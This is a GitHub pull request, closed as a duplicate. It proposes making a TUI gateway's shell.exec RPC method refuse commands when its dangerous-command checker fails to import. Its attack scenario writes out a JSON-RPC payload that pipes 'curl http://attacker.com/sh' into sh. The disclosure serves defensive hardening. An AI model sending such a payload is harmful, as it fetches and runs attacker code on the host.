fix(security): fail-closed when approval module missing in TUI shell.exec to prevent RCE - #17551
Closed
memosr wants to merge 1 commit into
Closed
fix(security): fail-closed when approval module missing in TUI shell.exec to prevent RCE#17551memosr wants to merge 1 commit into
memosr wants to merge 1 commit into
Conversation
…exec to prevent RCE
Collaborator
Contributor
Author
|
Thanks for the heads-up @alt-glitch! Acknowledged - closing in favor of #15542 which addresses the same issue. Will check existing PRs more carefully before opening new ones. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What does this PR do?
tui_gateway/server.pyexposes ashell.execJSON-RPC method thatruns shell commands via
subprocess.run(shell=True). It tries toblock dangerous commands using
tools.approval.detect_dangerous_command,but on
ImportErrorit silently falls through to executing the command:If
tools.approvalcannot be imported (missing module, circular import,SyntaxError in a dependency, partial deployment, modified PYTHONPATH),
the dangerous-command check is silently skipped and arbitrary shell
commands are executed via the JSON-RPC interface.
Attack scenario
tools.approvalimport fails for any reason → check silently bypassed{"jsonrpc":"2.0","id":1,"method":"shell.exec", "params":{"command":"curl http://attacker.com/sh | sh"}}shell=True+ missing guard → full OS command executionFix
Made the handler fail-closed: if the guard cannot be loaded, refuse
to execute the command rather than silently bypassing the check:
This is consistent with the fail-closed pattern applied to the cron
SSRF check in #10180.
Type of Change
Checklist
tools.approvalis available